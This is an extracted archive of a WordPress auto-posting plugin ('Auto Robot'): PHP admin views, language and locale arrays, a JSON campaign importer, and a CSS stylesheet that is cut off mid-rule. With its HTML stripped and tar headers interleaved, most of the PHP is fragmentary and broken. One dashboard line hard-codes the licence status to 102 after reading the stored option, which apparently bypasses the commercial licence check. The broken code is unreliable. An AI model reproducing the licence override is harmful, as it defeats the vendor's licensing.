"Kannada", "kk" => "Kazakh", "km" => "Khmer", "rw" => "Kinyarwanda", "ko" => "Korean", "ku" => "Kurdish", "ky" => "Kyrgyz", "lo" => "Lao", "la" => "Latin", "lv" => "Latvian", "lt" => "Lithuanian", "lb" => "Luxembourgish", "mk" => "Macedonian", "mg" => "Malagasy", "ms" => "Malay", "ml" => "Malayalam", "mt" => "Maltese", "mi" => "Maori", "mr" => "Marathi", "mn" => "Mongolian", "my" => "Myanmar (Burmese)", "ne" => "Nepali", "no" => "Norwegian", "ny" => "Nyanja (Chichewa)", "or" => "Odia (Oriya)", "ps" => "Pashto", "fa" => "Persian", "pl" => "Polish", "pt" => "Portuguese (Portugal, Brazil)", "pa" => "Punjabi", "ro" => "Romanian", "ru" => "Russian", "sm" => "Samoan", "gd" => "Scots Gaelic", "sr" => "Serbian", "st" => "Sesotho", "sn" => "Shona", "sd" => "Sindhi", "si" => "Sinhala (Sinhalese)", "sk" => "Slovak", "sl" => "Slovenian", "so" => "Somali", "es" => "Spanish", "su" => "Sundanese", "sw" => "Swahili", "sv" => "Swedish", "tl" => "Tagalog (Filipino)", "tg" => "Tajik", "ta" => "Tamil", "tt" => "Tatar", "te" => "Telugu", "th" => "Thai", "tr" => "Turkish", "tk" => "Turkmen", "uk" => "Ukrainian", "ur" => "Urdu", "ug" => "Uyghur", "uz" => "Uzbek", "vi" => "Vietnamese", "cy" => "Welsh", "xh" => "Xhosa", "yi" => "Yiddish", "yo" => "Yoruba", "zu" => "Zulu" ); $translation_to = array( "auto" => "Auto Detect", "af" => "Afrikaans", "sq" => "Albanian", "am" => "Amharic", "ar" => "Arabic", "hy" => "Armenian", "az" => "Azerbaijani", "eu" => "Basque", "be" => "Belarusian", "bn" => "Bengali", "bs" => "Bosnian", "bg" => "Bulgarian", "ca" => "Catalan", "ceb" => "Cebuano", "zh-CN" => "Chinese (Simplified)", "zh-TW" => "Chinese (Traditional)", "co" => "Corsican", "hr" => "Croatian", "cs" => "Czech", "da" => "Danish", "nl" => "Dutch", "en" => "English", "eo" => "Esperanto", "et" => "Estonian", "fi" => "Finnish", "fr" => "French", "fy" => "Frisian", "gl" => "Galician", "ka" => "Georgian", "de" => "German", "el" => "Greek", "gu" => "Gujarati", "ht" => "Haitian Creole", "ha" => "Hausa", "haw" => "Hawaiian", "he" => "Hebrew", "hi" => "Hindi", "hmn" => "Hmong", "hu" => "Hungarian", "is" => "Icelandic", "ig" => "Igbo", "id" => "Indonesian", "ga" => "Irish", "it" => "Italian", "ja" => "Japanese", "jv" => "Javanese", "kn" => "Kannada", "kk" => "Kazakh", "km" => "Khmer", "rw" => "Kinyarwanda", "ko" => "Korean", "ku" => "Kurdish", "ky" => "Kyrgyz", "lo" => "Lao", "la" => "Latin", "lv" => "Latvian", "lt" => "Lithuanian", "lb" => "Luxembourgish", "mk" => "Macedonian", "mg" => "Malagasy", "ms" => "Malay", "ml" => "Malayalam", "mt" => "Maltese", "mi" => "Maori", "mr" => "Marathi", "mn" => "Mongolian", "my" => "Myanmar (Burmese)", "ne" => "Nepali", "no" => "Norwegian", "ny" => "Nyanja (Chichewa)", "or" => "Odia (Oriya)", "ps" => "Pashto", "fa" => "Persian", "pl" => "Polish", "pt" => "Portuguese (Portugal, Brazil)", "pa" => "Punjabi", "ro" => "Romanian", "ru" => "Russian", "sm" => "Samoan", "gd" => "Scots Gaelic", "sr" => "Serbian", "st" => "Sesotho", "sn" => "Shona", "sd" => "Sindhi", "si" => "Sinhala (Sinhalese)", "sk" => "Slovak", "sl" => "Slovenian", "so" => "Somali", "es" => "Spanish", "su" => "Sundanese", "sw" => "Swahili", "sv" => "Swedish", "tl" => "Tagalog (Filipino)", "tg" => "Tajik", "ta" => "Tamil", "tt" => "Tatar", "te" => "Telugu", "th" => "Thai", "tr" => "Turkish", "tk" => "Turkmen", "uk" => "Ukrainian", "ur" => "Urdu", "ug" => "Uyghur", "uz" => "Uzbek", "vi" => "Vietnamese", "cy" => "Welsh", "xh" => "Xhosa", "yi" => "Yiddish", "yo" => "Yoruba", "zu" => "Zulu" ); $selected_translation_api = isset($settings['robot_translation_api']) ? $settings['robot_translation_api'] : 0; $selected_translation_from = isset($settings['robot_translation_from_language']) ? $settings['robot_translation_from_language'] : 'ar'; $selected_translation_to = isset($settings['robot_translation_to_language']) ? $settings['robot_translation_to_language'] : 'ar'; ?>

$value ) : ?> id="">
$value ) : ?> id=""> $value ) : ?> id="">
admin/views/campaigns/wizard/sections/tab-schedule.php000064400000000522147600277620017145 0ustar00

template( 'campaigns/wizard/components/schedule-settings', $settings ); ?>
admin/views/campaigns/wizard/sections/tab-spin-rewriter.php000064400000003611147600277620020165 0ustar00

admin/views/campaigns/wizard/sections/tab-post-content.php000064400000017054147600277620020016 0ustar00

">
admin/views/campaigns/wizard/sections/tab-category.php000064400000007032147600277620017171 0ustar00 true)); // Select categories arguments $args = array ( 'orderby' => 'name', 'order' => 'ASC', 'hide_empty' => 0 ); $parent_categories = array (); $child_categories = array (); // Get all post categories foreach ( $post_types as $post_type ) { // Get categories taxonomies $post_taxonomies = get_object_taxonomies ( $post_type ); if (count ( $post_taxonomies ) > 0) { foreach ( $post_taxonomies as $tax ) { // check if category list it's items if (is_taxonomy_hierarchical ( $tax )) { $args = array ( 'hide_empty' => 0, 'taxonomy' => $tax, 'type' => $post_type ); $categories = get_categories ( $args ); // function to display categories // Get parent categories foreach ( $categories as $category ) { if ($category->parent == 0) { $parent_categories [] = $category; } else { $child_categories [$category->parent] [] = $category; } } } } } } // Get all post tags $tags = get_tags(array('get'=>'all')); // Initial post category $robot_post_category = isset($settings['robot-post-category']) ? $settings['robot-post-category'] : array(); $robot_post_tag = isset($settings['robot-post-tag']) ? $settings['robot-post-tag'] : array(); ?>

admin/views/campaigns/wizard/sections/tab-post-status.php000064400000012436147600277620017666 0ustar00

    $value ) : ?>
  • data->user_login ); ?>
admin/views/campaigns/wizard/header.php000064400000000706147600277620014212 0ustar00

admin/views/campaigns/wizard/content.php000064400000011611147600277620014431 0ustar00get_single_model( $id ); $settings = $model->settings; $settings['status'] = $model->status; } $robot_youtube_source_category = isset( $settings['robot_youtube_source_category'] ) ? sanitize_text_field( $settings['robot_youtube_source_category'] ) : 'playlist'; ?>
template( 'campaigns/wizard/sections/tab-save', $settings); ?> template( 'campaigns/wizard/sections/tab-schedule', $settings); ?> template( 'campaigns/wizard/sections/tab-dashboard', $settings); ?> template( 'campaigns/wizard/sections/tab-post-content', $settings); ?> template( 'campaigns/wizard/sections/tab-post-status', $settings); ?> template( 'campaigns/wizard/sections/tab-post-images', $settings); ?> template( 'campaigns/wizard/sections/tab-category', $settings); ?> template( 'campaigns/wizard/sections/tab-translation', $settings); $this->template( 'campaigns/wizard/sections/tab-spin-rewriter', $settings); } ?>

admin/views/dashboard/widgets/widget-popup.php000064400000010641147600277620015540 0ustar00

admin/views/dashboard/widgets/widget-resume.php000064400000002635147600277620015701 0ustar00
0 0 ) { ?>
admin/views/dashboard/header.php000064400000000000147600277620012662 0ustar00admin/views/dashboard/footer.php000064400000000007147600277620012737 0ustar00' . __( 'premium version', Auto_Robot::DOMAIN ) . ''; $document_link = '' . __( 'document', Auto_Robot::DOMAIN ) . ''; $demos = array( array( 'href' => 'https://www.youtube.com/watch?v=eeuAVH5W2GM/', 'demo' => 'RSS Campaign' ), array( 'href' => 'https://www.youtube.com/watch?v=fnu4hgrcATQ/', 'demo' => 'Instagram Campaign' ), array( 'href' => 'https://www.youtube.com/watch?v=nDm58uxiZLE/', 'demo' => 'Vimeo Campaign' ), array( 'href' => 'https://www.youtube.com/watch?v=X-kO589Byso/', 'demo' => 'Flickr Campaign' ), array( 'href' => 'https://www.youtube.com/watch?v=m339MVd6tuA/', 'demo' => 'Twitter Campaign' ), array( 'href' => 'https://www.youtube.com/watch?v=nHYa633aj3M/', 'demo' => 'Youtube Campaign' ), array( 'href' => 'https://www.youtube.com/watch?v=W8lvU6Anj1c/', 'demo' => 'Schedule Settings' ), array( 'href' => 'https://www.youtube.com/watch?v=M-fARSJFKF4/', 'demo' => 'Post Template' ), array( 'href' => 'https://www.youtube.com/watch?v=anFfEyfrSFY/', 'demo' => 'Set Feature Image' ), array( 'href' => 'https://www.youtube.com/watch?v=LwApQaIDb_M/', 'demo' => 'Video Template' ), array( 'href' => 'https://www.youtube.com/watch?v=guFze2Krfjc/', 'demo' => 'System Settings' ), array( 'href' => 'https://www.youtube.com/watch?v=dSGtphbXYdU/', 'demo' => 'Logs System' ), ); $support_url = 'https://codecanyon.net/item/auto-robot/26798462/support/'; $document_url = 'https://wpautorobot.com/document/'; $license_activated = get_option( 'auto_robot_license_activated'); $license_activated = 102; ?>

Visit Plugin Homepage' ); ?>

admin/views/import/sections/tab-import.php000064400000004753147600277620014745 0ustar00 0) { echo '

'.__('Invalid file or file size too big.', Auto_Robot::DOMAIN).'

'; }else { $file_name = $_FILES['import_file']['name']; $ext = explode(".", $file_name); $file_ext = strtolower(end($ext)); $file_size = $_FILES['import_file']['size']; if ($file_ext == "json") { $encode_data = file_get_contents($_FILES['import_file']['tmp_name']); $import_data = json_decode($encode_data, true); }else { echo '

'.__('Invalid file or file size too big.', Auto_Robot::DOMAIN).'

'; } } /* Import campaigns */ if(is_array($import_data)){ foreach($import_data as $key => $item){ $form_model = new Auto_Robot_Custom_Form_Model(); $form_model->settings = $item; // status $form_model->status = Auto_Robot_Custom_Form_Model::STATUS_PUBLISH; // Save data $form_model->save(); } } echo '

'.__('Campaings has been imported successfully.', Auto_Robot::DOMAIN).'

'; } ?>

admin/views/import/sections/tab-export.php000064400000004067147600277620014752 0ustar00get_all_models(); $campaigns = $models['models']; ?>


$model ) : ?>
admin/views/import/header.php000064400000000634147600277620012262 0ustar00

admin/views/import/content.php000064400000001651147600277620012504 0ustar00
template( 'import/sections/tab-import' ); ?> template( 'import/sections/tab-export' ); ?>
admin/views/integrations/popups/google-translate.php000064400000005022147600277620017017 0ustar00

these instructions to retrieve' ); ?>
admin/views/integrations/popups/spin-rewriter.php000064400000005727147600277620016376 0ustar00

these instructions to retrieve' ); ?>
admin/views/integrations/popups/flickr.php000064400000004336147600277620015031 0ustar00

admin/views/integrations/popups/facebook.php000064400000004403147600277620015323 0ustar00

admin/views/integrations/popups/vimeo.php000064400000004361147600277620014674 0ustar00

admin/views/integrations/popups/soundcloud.php000064400000004422147600277620015732 0ustar00

admin/views/integrations/popups/youtube.php000064400000004344147600277620015252 0ustar00

admin/views/integrations/popups/instagram.php000064400000004773147600277620015551 0ustar00

these instructions to retrieve' ); ?>
admin/views/integrations/popups/twitter.php000064400000010334147600277620015254 0ustar00

admin/views/integrations/sections/tab-apps.php000064400000011513147600277620015562 0ustar00

$provider ) : ?>

$provider ) : ?>
admin/views/integrations/sections/tab-others.php000064400000001705147600277620016125 0ustar00

More Applications

admin/views/integrations/content.php000064400000001707147600277620013702 0ustar00
template( 'integrations/sections/tab-apps' ); ?> template( 'integrations/sections/tab-others' ); ?>
admin/views/integrations/header.php000064400000000631147600277620013453 0ustar00

admin/views/license/content.php000064400000005435147600277620012620 0ustar00

admin/views/logs/header.php000064400000000621147600277620011710 0ustar00

admin/views/logs/content.php000064400000000725147600277620012137 0ustar00prepare_items(); $base_url = admin_url( 'admin.php?page=auto-robot-logs' ); ?>
views() ?> display() ?>
admin/views/menu/header.php000064400000002166147600277620011716 0ustar00
admin/views/settings/components/general-settings.php000064400000002427147600277620017022 0ustar00
admin/views/settings/sections/tab-general.php000064400000001565147600277620015374 0ustar00

template( 'settings/components/general-settings', $settings ); ?>
admin/views/settings/sections/tab-notifications.php000064400000006017147600277620016625 0ustar00

7
admin/views/settings/header.php000064400000000625147600277620012610 0ustar00

admin/views/settings/content.php000064400000001705147600277620013032 0ustar00
template( 'settings/sections/tab-notifications' ); ?> template( 'settings/sections/tab-general' ); ?>
admin/views/welcome/content.php000064400000034220147600277620012623 0ustar00 "English (United States)", "GB_en" => "English (United Kingdom)", "CA_en" => "English (Canada)", "AU_en" => "English (Australia)", "SG_en" => "English (Singapore)", "BW_en" => "English (Botswana)", "ET_en" => "English (Ethiopia)", "GH_en" => "English (Ghana)", "ID_en" => "English (Indonesia)", "IE_en" => "English (Ireland)", "IL_en" => "English (Israel)", "KE_en" => "English (Kenya)", "LV_en" => "English (Latvia)", "MY_en" => "English (Malaysia)", "NA_en" => "English (Namibia)", "NZ_en" => "English (New Zealand)", "NG_en" => "English (Nigeria)", "PK_en" => "English (Pakistan)", "PH_en" => "English (Philippines)", "ZA_en" => "English (South Africa)", "TZ_en" => "English (Tanzania)", "UG_en" => "English (Uganda)", "ZW_en" => "English (Zimbabwe)", "ID_id" => "Bahasa Indonesia (Indonesia)", "CZ_cs" => "Čeština (Česko)", "DE_de" => "Deutsch (Deutschland)", "AT_de" => "Deutsch (Österreich)", "CH_de" => "Deutsch (Schweiz)", "AR_es-419" => "Español (Argentina)", "CL_es-419" => "Español (Chile)", "CO_es-419" => "Español (Colombia)", "CU_es-419" => "Español (Cuba)", "US_es-419" => "Español (Estados Unidos)", "MX_es-419" => "Español (México)", "PE_es-419" => "Español (Perú)", "VE_es-419" => "Español (Venezuela)", "BE_fr" => "Français (Belgique)", "CA_fr" => "Français (Canada)", "FR_fr" => "Français (France)", "MA_fr" => "Français (Maroc)", "SN_fr" => "Français (Sénégal)", "CH_fr" => "Français (Suisse)", "IT_it" => "Italiano (Italia)", "LT_lt" => "Latviešu (Latvija)", "HU_hu" => "Magyar (Magyarország)", "BE_nl" => "Nederlands (België)", "NL_nl" => "Nederlands (Nederland)", "NO_no" => "Norsk (Norge)", "PL_pl" => "Polski (Polska)", "BR_pt-419" => "Português (Brasil)", "PT_pt-150" => "Português (Portugal)", "RO_ro" => "Română (România)", "SK_sk" => "Slovenčina (Slovensko)", "SI_sl" => "Slovenščina (Slovenija)", "SE_sv" => "Svenska (Sverige)", "VN_vi" => "Tiếng Việt (Việt Nam)", "TR_tr" => "Türkçe (Türkiye)", "GR_el" => "Ελληνικά (Ελλάδα)", "BG_bg" => "Български (България)", "RU_ru" => "Русский (Россия)", "UA_ru" => "Русский (Украина)", "RS_sr" => "Српски (Србија)", "UA_uk" => "Українська (Україна)", "IL_he" => "עברית (ישראל)", "AE_ar" => "العربية (الإمارات العربية المتحدة)", "SA_ar" => "العربية (المملكة العربية السعودية)", "LB_ar" => "العربية (لبنان)", "EG_ar" => "العربية (مصر)", "IN_mr" => "मराठी (भारत)", "IN_hi" => "हिन्दी (भारत)", "BD_bn" => "বাংলা (বাংলাদেশ)", "IN_ta" => "தமிழ் (இந்தியா)", "IN_te" => "తెలుగు (భారతదేశం)", "IN_ml" => "മലയാളം (ഇന്ത്യ)", "TH_th" => "ไทย (ไทย)", "CN_zh-Hans" => "中文 (中国)", "TW_zh-Hant" => "中文 (台灣)", "HK_zh-Hant" => "中文 (香港)", "JP_ja" => "日本語 (日本)", "KR_ko" => "한국어 (대한민국)", ); $types = array( "rss" => "RSS Feed", "youtube" => "Youtube", "vimeo" => "Vimeo", "flickr" => "Flickr", "twitter" => "Twitter", "instagram" => "Instagram" ); $modes = array( "robot_mode_smart" => "Smart", "robot_mode_manually" => "Manually" ); $authors = get_users(); ?>
  • Visit Plugin Homepage' ); ?>

  • $value ) : ?> id="">
  • $value ) : ?> id="">
admin/views/wizard/header.php000064400000000000147600277620012233 0ustar00admin/views/wizard/content.php000064400000010470147600277620012471 0ustar00

assets/css/main.css000064400000264330147600277620010317 0ustar00.white-popup { position: relative; background: #FFF; width: auto; max-width: 500px; margin: 20px auto; } /* start state */ .mfp-zoom-in { /* animate in */ /* animate out */ } .mfp-zoom-in .mfp-with-anim { opacity: 0; transition: all 0.2s ease-in-out; transform: scale(0.8); } .mfp-zoom-in.mfp-bg { opacity: 0; transition: all 0.3s ease-out; } .mfp-zoom-in.mfp-ready .mfp-with-anim { opacity: 1; transform: scale(1); } .mfp-zoom-in.mfp-ready.mfp-bg { opacity: 0.8; } .mfp-zoom-in.mfp-removing .mfp-with-anim { transform: scale(0.8); opacity: 0; } .mfp-zoom-in.mfp-removing.mfp-bg { opacity: 0; } /* popup */ div#test-popup .step-2{ display: none; } div#test-popup .robot-box-header, div#run-campaign-popup .robot-box-header{ padding-top: 60px; padding-bottom: 10px; border-bottom: 0; display: block; position: relative; align-items: center; } div#test-popup .robot-block-content-center, div#run-campaign-popup .robot-block-content-center{ text-align: center; } div#test-popup .robot-box-body{ padding: 10px 30px 30px 30px; } div#test-popup .robot-box-body .robot-description{ display: block; margin-top: 5px; color: #888; font-size: 13px; line-height: 22px; font-weight: 400; letter-spacing: -.25px; } div#test-popup .robot-box-title, div#run-campaign-popup .robot-box-title{ font-size: 22px; line-height: 30px; font-family: Roboto,Arial,sans-serif; font-weight: 700; display: block; margin: 0; padding: 0; border: 0; color: #333; text-transform: none; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } div#test-popup .robot-box-selectors{ padding: 20px 30px; background-color: #f8f8f8; } div#test-popup .robot-box-selectors ul { display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; margin: 0 -10px; padding: 0; border: 0; list-style: none; } @media (max-width: 768px) { div#test-popup .robot-box-selectors ul { display: block; } } div#test-popup .robot-box-selectors.robot-box-selectors-col-2 ul li { min-width: 50%; -ms-flex-preferred-size: 50%; flex-basis: 50%; } div#test-popup .robot-box-selectors[class*=robot-box-selectors-col-] ul li { -ms-flex: 0 0 auto; flex: 0 0 auto; } div#test-popup .robot-box-selectors ul li { margin: 0; padding: 10px; border: 0; box-sizing: border-box; } div#test-popup .robot-box-selector{ overflow: hidden; display: block; border-radius: 4px; background-color: #fff; box-shadow: 0 2px 7px 0 rgba(0,0,0,.05); color: #888; font-family: Roboto,Arial,sans-serif; letter-spacing: -.25px; transition: all .3s ease; } div#test-popup .robot-box-selector input{ border: 0; clip: rect(1px,1px,1px,1px); -webkit-clip-path: inset(50%); clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute!important; width: 1px; word-wrap: normal!important; } div#test-popup .robot-box-selector span { display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; padding: 20px; font-size: 12px; line-height: 20px; font-weight: 500; } div#test-popup .robot-box-selector input:checked+span { overflow: hidden; position: relative; background-color: #e1f6ff; color: #04223f; } div#test-popup .robot-box-selector input:checked+span:before { content: " "; position: absolute; z-index: 1; top: 5px; right: 5px; color: #fff; font-size: 12px; } div#test-popup .robot-box-selector input:checked+span:after { content: " "; position: absolute; top: 0; right: 0; border-top: 40px solid #04223f; border-left: 40px solid transparent; } div#test-popup .robot-box-selector input+span [class*=robot-icon] { width: 30px; -ms-flex: 0 0 30px; flex: 0 0 30px; -ms-flex-item-align: start; align-self: flex-start; margin: 0 5px 0 0; font-size: 16px; text-align: center; } div#test-popup .robot-box-footer{ border-top: 1px solid #e6e6e6; padding: 30px; display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; } div#test-popup .robot-box-footer .robot-actions-right { display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; margin-left: auto; margin-right: 0; } div#test-popup .robot-box-footer .robot-actions-left { display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; margin-right: auto; margin-left: 0; } div#test-popup .robot-box-footer .robot-actions-right button.robot-button, div#test-popup .robot-box-footer .robot-actions-left button.robot-button{ width: auto; min-width: 80px; padding: 5px 14px; background-color: #888; color: #fff; font: 500 12px/16px Roboto,Arial,sans-serif; letter-spacing: -.25px; text-transform: uppercase; cursor: pointer; display: inline-block; position: relative; margin: 0; border: 2px solid transparent; border-radius: 4px; text-decoration: none; text-align: center; transition: all .3s ease; } div#test-popup .robot-image-center, div#run-campaign-popup .robot-image-center{ margin-right: auto; margin-left: auto; } div#test-popup .robot-image, div#run-campaign-popup .robot-image { display: block; width: 120px; height: 120px; max-width: 100%; padding-bottom: 40px; } /* campaign */ .robot-wrap { font-family: Roboto,Arial,sans-serif; font-weight: 400; font-size: 15px; line-height: 30px; color: #666; letter-spacing: -.25px; } .robot-wrap *, .robot-wrap :after, .robot-wrap :before { box-sizing: border-box; } .robot-box-tab, .nav-container{ display: none; } .robot-box-tabs .active, .robot-welcome-tabs .active{ display: block; } .robot-row-with-sidenav { width: 100%; display: table; table-layout: fixed; clear: both; margin-bottom: 30px; } @media (min-width: 1200px) { .robot-row-with-sidenav .robot-sidenav { width: 220px; display: table-cell; padding-right: 30px; } } .robot-row-with-sidenav .robot-sidenav { vertical-align: top; } .robot-row-with-sidenav>div:not(.robot-sidenav) { display: block; position: relative; vertical-align: top; margin-bottom: 20px; } .robot-box-tab { margin-bottom: 30px; min-height: 20px; position: relative; border-radius: 4px; background-color: #fff; box-shadow: 0 2px 0 #e6e6e6; } .robot-wrap .robot-row-with-sidenav .robot-sidenav .robot-vertical-tabs .robot-vertical-tab { height: 30px; position: relative; margin: 0 0 6px; padding: 5px 15px; line-height: 1.5em; list-style: none; } .robot-wrap .robot-row-with-sidenav .robot-sidenav .robot-vertical-tabs a { display: block; color: #666; font-weight: 500; transition: .3s ease; text-decoration: none; outline-color: transparent; outline-style: none; box-shadow: none; } .robot-wrap .robot-box-tab .robot-box-header { border-bottom: 1px solid #e6e6e6; padding: 15px 30px; display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; } .robot-wrap .robot-box-tab .robot-box-body { padding: 30px; } .robot-wrap .robot-box-body .robot-box-settings-row { display: -ms-flexbox; display: flex; position: relative; margin-bottom: 30px; padding-bottom: 30px; border-bottom: 1px solid #e6e6e6; } .robot-wrap .robot-box-body .robot-box-settings-col-1 { max-width: 200px; -ms-flex: 0 1 200px; flex: 0 1 200px; } .robot-wrap .robot-box-body .robot-box-settings-row [class*=robot-box-settings-col-]+div { margin-left: 30px; } .robot-wrap .robot-box-body .robot-box-settings-col-2 { min-width: 0; -ms-flex: 1; flex: 1; } .robot-wrap .robot-box-body .robot-settings-label{ color: #333; display: block; margin: 0 0 5px; padding: 0; border: 0; font: 500 15px/22px Roboto,Arial,sans-serif; letter-spacing: -.25px; } .robot-wrap .robot-box-body .robot-description { display: block; margin-top: 5px; color: #888; font-size: 13px; line-height: 22px; font-weight: 400; letter-spacing: -.25px; } .robot-wrap .robot-box-body .robot-box-settings-row .robot-form-field{ margin-top: 20px; margin-bottom: 20px; } .robot-wrap label[for] { cursor: pointer; } .robot-wrap .robot-label { display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; margin: 0 0 5px; } .robot-wrap .robot-label, .robot-wrap .robot-label-inline { display: -ms-inline-flexbox; display: inline-flex; padding: 0; border: 0; color: #888; font: 500 12px/16px Roboto,Arial,sans-serif; } .robot-wrap .robot-form-control, .robot-wrap .robot-multi-checkbox { display: block; } .robot-wrap .robot-form-control, .robot-wrap .robot-form-control:active, .robot-wrap .robot-form-control:focus, .robot-wrap .robot-form-control:hover, .robot-wrap .robot-multi-checkbox, .robot-wrap .robot-multi-checkbox:active, .robot-wrap .robot-multi-checkbox:focus, .robot-wrap .robot-multi-checkbox:hover { outline: none; box-shadow: none; } .robot-wrap .robot-form-control, .robot-wrap .robot-multi-checkbox { width: 100%; margin: 0; padding: 9px 14px; border: 1px solid #ddd; border-radius: 4px; background-color: #fafafa; background-image: none; color: #333; font: 500 15px/20px Roboto,Arial,sans-serif; letter-spacing: -.25px; transition: .3s ease-in-out; } .robot-wrap input.robot-form-control{ height: 40px; } .robot-wrap .search-result-list{ display: none; margin: 0px 230px; text-align: left; } .robot-wrap .robot-box-tabs.robot-box-sticky { position: -webkit-sticky!important; position: sticky!important; top: 32px; z-index: 12; } .robot-wrap .robot-box-tabs .robot-box { margin-bottom: 30px; } .robot-wrap .robot-box-tabs .robot-box { min-height: 20px; position: relative; border-radius: 4px; background-color: #fff; box-shadow: 0 2px 0 #e6e6e6; } .robot-wrap .robot-box-tabs .robot-box-status { display: -ms-flexbox; display: flex; padding: 15px 30px; } .robot-wrap .robot-box-tabs .robot-box-status .robot-status { -ms-flex: 1; flex: 1; display: -ms-flexbox; display: flex; } .robot-wrap .robot-box-tabs .robot-box-status .robot-status+.robot-actions { margin-left: 15px; } .robot-wrap .robot-box-tabs .robot-box-status .robot-actions { -ms-flex: 0 0 auto; flex: 0 0 auto; } .robot-wrap .robot-box-tabs button.robot-button { width: auto; min-width: 80px; padding: 5px 14px; background-color: #888; color: #fff; font: 500 12px/16px Roboto,Arial,sans-serif; letter-spacing: -.25px; text-transform: uppercase; } .robot-wrap .robot-box-tabs button.robot-button { cursor: pointer; display: inline-block; position: relative; margin: 0; border: 2px solid transparent; border-radius: 4px; text-decoration: none; text-align: center; transition: all .3s ease; } .robot-wrap .robot-box-tabs button.robot-button.robot-button-blue { background-color: #04223f; color: #fff; } .robot-wrap .robot-box-tabs .robot-is-sticky { box-shadow: 0 5px 25px rgba(0,0,0,.15); position: -webkit-sticky!important; position: sticky!important; top: 32px; z-index: 12; } .robot-wrap .robot-accordion:not(.robot-builder-fields) .robot-accordion-item-header { display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; font-size: 13px; color: #888; line-height: 22px; font-family: Roboto,Arial,sans-serif; font-weight: 400; letter-spacing: -.25px; cursor: pointer; min-height: 90px; } .robot-wrap .robot-accordion-block .robot-accordion-item .robot-accordion-item-date strong { margin-right: 10px; color: #333; font-weight: 500; } .robot-wrap .robot-accordion-block .robot-accordion-item { margin: 0 0 20px; border-radius: 4px; background-color: #fff; box-shadow: 0 2px 0 0 #e6e6e6; } .robot-wrap .robot-accordion-block .robot-accordion-item .robot-accordion-item-header .robot-accordion-item-title.robot-trim-title { overflow: hidden; display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; text-overflow: ellipsis; white-space: nowrap; } .robot-wrap .robot-accordion-block .robot-accordion-item .robot-accordion-item-header .robot-accordion-item-title { color: #333; font-size: 22px; line-height: 30px; font-family: Roboto,Arial,sans-serif; font-weight: 700; } .robot-wrap .robot-accordion-block:not(.robot-builder-fields) .robot-accordion-footer>div, .robot-wrap .robot-accordion-block:not(.robot-builder-fields) .robot-accordion-header>div, .robot-wrap .robot-accordion-block:not(.robot-builder-fields) .robot-accordion-item-header>div, .robot-wrap .robot-accordion:not(.robot-builder-fields) .robot-accordion-footer>div, .robot-wrap .robot-accordion:not(.robot-builder-fields) .robot-accordion-header>div, .robot-wrap .robot-accordion:not(.robot-builder-fields) .robot-accordion-item-header>div { display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; -ms-flex: 1; flex: 1; padding: 0 9px; } .robot-wrap .robot-button.robot-button-ghost, .robot-wrap a.robot-button.robot-button-ghost, .robot-wrap button.robot-button.robot-button-ghost { border-color: #ddd; background-color: transparent; color: #888; } .robot-wrap .robot-button, .robot-wrap a.robot-button, .robot-wrap button.robot-button { width: auto; min-width: 80px; padding: 5px 14px; background-color: #888; color: #fff; font: 500 12px/16px Roboto,Arial,sans-serif; letter-spacing: -.25px; text-transform: uppercase; } .robot-wrap .robot-button, .robot-wrap .robot-button-icon, .robot-wrap a.robot-button, .robot-wrap a.robot-button-icon, .robot-wrap button.robot-button, .robot-wrap button.robot-button-icon { cursor: pointer; display: inline-block; position: relative; margin: 0; border: 2px solid transparent; border-radius: 4px; text-decoration: none; text-align: center; transition: all .3s ease; } .robot-wrap .robot-button .robot-icon-pencil{ width: 22px; position: relative; top: -1px; margin-left: -7px; vertical-align: middle; font-size: 12px; color: #888; } .robot-wrap .robot-accordion-block .robot-accordion-item .robot-accordion-item-header .robot-dropdown{ margin: 0 5px; position: relative; display: inline-block; } .robot-wrap button.robot-button-icon { width: 30px; height: 30px; display: -ms-inline-flexbox; display: inline-flex; -ms-flex-align: center; align-items: center; -ms-flex-pack: center; justify-content: center; padding: 0 4px; border-width: 1px; background-color: transparent; color: #888; text-align: center; white-space: nowrap; } .robot-wrap .robot-dropdown ul.robot-dropdown-list { min-width: 170px; display: none; position: absolute; z-index: 10; top: 100%; right: -10px; left: auto; margin: 15px 0 0; padding: 10px 0; border: 1px solid #ddd; border-radius: 4px; background-color: #fff; box-shadow: 0 3px 7px 0 rgba(0,0,0,.07); transition: .3s ease; } .robot-wrap .robot-dropdown ul.robot-dropdown-list.active{ display: block; } .robot-wrap .robot-dropdown ul.robot-dropdown-list li { list-style: none; } .robot-wrap .robot-dropdown ul.robot-dropdown-list li a{ background-color: transparent; color: #888; width: 100%; cursor: pointer; display: block; font: 500 13px/30px Roboto,Arial,sans-serif; text-align: left; transition: .3s ease; margin: 0; padding: 0 8px; border: 0; outline: none; box-shadow: none; text-decoration: none; } .robot-wrap .robot-dropdown ul li [class*=robot-icon-] { width: 24px; margin-right: 4px; font-size: 12px; text-align: center; } .robot-wrap .robot-dropdown ul li button.robot-option-red{ background-color: transparent; color: #ff6d6d; } .robot-wrap .robot-dropdown ul li button { width: 100%; cursor: pointer; display: block; font: 500 13px/30px Roboto,Arial,sans-serif; text-align: left; transition: .3s ease; border: none; } .robot-wrap .robot-dropdown .robot-dropdown-anchor, .robot-wrap .robot-dropdown .robot-dropdown-anchor:active, .robot-wrap .robot-dropdown .robot-dropdown-anchor:focus, .robot-wrap .robot-dropdown .robot-dropdown-anchor:hover, .robot-wrap .robot-dropdown .robot-dropdown-anchor:visited { background-color: #f2f2f2; color: #333; border: none; } #delete-popup .robot-box { } #delete-popup .robot-box .robot-box-header { border-bottom: 1px solid #e6e6e6; padding: 15px 30px; display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; } #delete-popup .robot-box .robot-box-body { padding: 30px; } #delete-popup .robot-box .robot-box-footer { border-top: 1px solid #e6e6e6; padding: 30px; display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; } #delete-popup .robot-box .robot-box-footer 